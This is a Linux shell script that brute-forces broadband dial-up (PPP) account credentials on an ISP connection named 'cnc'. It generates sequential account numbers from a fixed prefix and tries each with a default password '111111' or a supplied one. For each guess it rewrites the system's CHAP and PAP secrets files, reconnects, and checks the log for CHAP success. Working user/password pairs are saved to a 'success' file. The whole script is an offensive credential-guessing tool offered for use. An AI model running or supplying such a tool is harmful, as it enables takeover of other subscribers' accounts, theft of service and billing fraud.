#!/bin/sh
#Copyright (C) Dong Pu <cocobearc@gmail.com>
#Copyright (C) WANG Cong <xiyou.wangcong@gmail.com>
#GPL v2 applies.
#update by cocobear at 07.06.10
if (($#  <1)) ; then
        echo "Wrong usage!"
        echo "$0 Number [pass]"
        exit 1
fi
if (($UID != 0)); then
        echo "Must be root to run the script!"
        exit 1
fi

#配置文件初始化
header=111000
tailer=0
median=$1
pass1=111111
pass2=$2
zero=0
UP="/sbin/ifup"
DOWN="/sbin/ifdown"
ETHDOWN="/sbin/ifconfig eth0 down"
ETHUP="/sbin/ifconfig eth0 up"
PPPNAME="cnc"
CHAP="/etc/ppp/chap-secrets"
PAP="/etc/ppp/pap-secrets"
IFCFG="/etc/sysconfig/network-scripts/ifcfg-cnc"
LOG="/var/log/ppplog.conf"
syslog="/etc/syslog.conf"

#设置日志文件
grep 'daemon' $syslog > /dev/null
daemon=$?
if (($daemon == 1)); then
        echo -e "daemon.*\t\t\t\t\t\t$LOG" >> $syslog
        killall -HUP syslogd > /dev/null
fi

#测试CNC是否建立
if [ -e $IFCFG ] ; then
        echo -e "cnc ok!"
else
        echo -e "cnc not exist!"
        exit 1
fi

#修改配置文件
sed '/^CONNECT_TIMEOUT=/d' $IFCFG > $IFCFG.tmp
echo "CONNECT_TIMEOUT=0" >> $IFCFG.tmp
mv $IFCFG.tmp $IFCFG



#如果设定开始与结束帐号
if (($# > 3)); then

        if (($3 != 0)) && (($4 != 0)); then
                let "mo1 = $3/100"
                let "mo2 = $4/100"
                if (($mo1 == $mo2)); then
                        let "media = mo1"
                        let "tailer = $3-$mo1*100"
                        let "max = $4-$mo1*100"
                      #echo $media,$tailer,$max
                else
                        let "media = $3/1000"
                        let "tailer = $3-$media*1000"
                        let "max = $4-$media*1000"
                      #echo $media,$tailer,$max
                fi
                end=$media
        fi
        else
                end=$1
                max=0

fi

#判断输入号段,设置相应最大结束号，99，999用来判断号段的位数
if(($end <=99)); then
        end=999
        if (($max == 0)); then
                let "max = 999"
        fi
else
        if (($max == 0)); then
                let "max = 99"
        fi
        end=99
fi

#开始扫描
while (($tailer <= $max)); do
        stailer=$tailer
        #对不足的位数进行补零
        #echo $end
        #echo $tailer
        if (($tailer <= 9)); then
                if (($end == 99)); then
                        stailer="$zero$stailer"
                else
                        stailer="$zero$stailer"
                fi
        fi

        if (($tailer <= 99));then
                if (($end == 999)); then
                        stailer="$zero$stailer"
                fi
        fi

        user="$header$median$stailer"

        #echo $user
        #let "tailer+=1"
        #done

        if [ -z $2 ]; then
                pass=$pass1
        else
                pass=$pass2
        fi
        REPLACE="\"$user\"\t\"$PPPNAME\"\t\"$pass\"\n\"$user\"\t*\t\"$pass\""
        sed '/^USER=/d' $IFCFG > $IFCFG.tmp
        echo "USER=$user" >> $IFCFG.tmp
        mv $IFCFG.tmp $IFCFG
        echo -n '' > $CHAP
        echo -e $REPLACE > $CHAP
        echo -n '' > $PAP
        echo -e $REPLACE > $PAP
        echo -n '' > $LOG
        $DOWN $PPPNAME
        $UP $PPPNAME >/dev/null 2>&1
        sleep 3
        grep -q 'CHAP authentication failed' $LOG
        state=$?
        grep -q 'CHAP authentication succeeded' $LOG
        ret=$?
        grep -q 'Network is down' $LOG
        down=$?
        if (($state == 0)); then
                echo "$user+$pass failed!"
        else
                if (($ret == 0)); then
                        $ETHDOWN
                        echo "Success:$user---$pass" >> success
                        sleep 30
                        $ETHUP
                        let "tailer+=1"
                fi
                if (($down == 0)); then
                        echo "Network is down,now bring up it!"
                        $ETHUP
                else
                pppnum=$(ps -e | grep pppd | wc -l)
                while (($pppnum >= 2));do
                        $DOWN $PPPNAME
                        $ETHDOWN
                        echo -e "Too many process!\nWaiting pppd down...\n"
                        sleep 5
                        pppnum=$(ps -e | grep pppd | wc -l)
                done
                let "tailer-=1"

                fi
        fi
        let "tailer+=1"
done
exit 0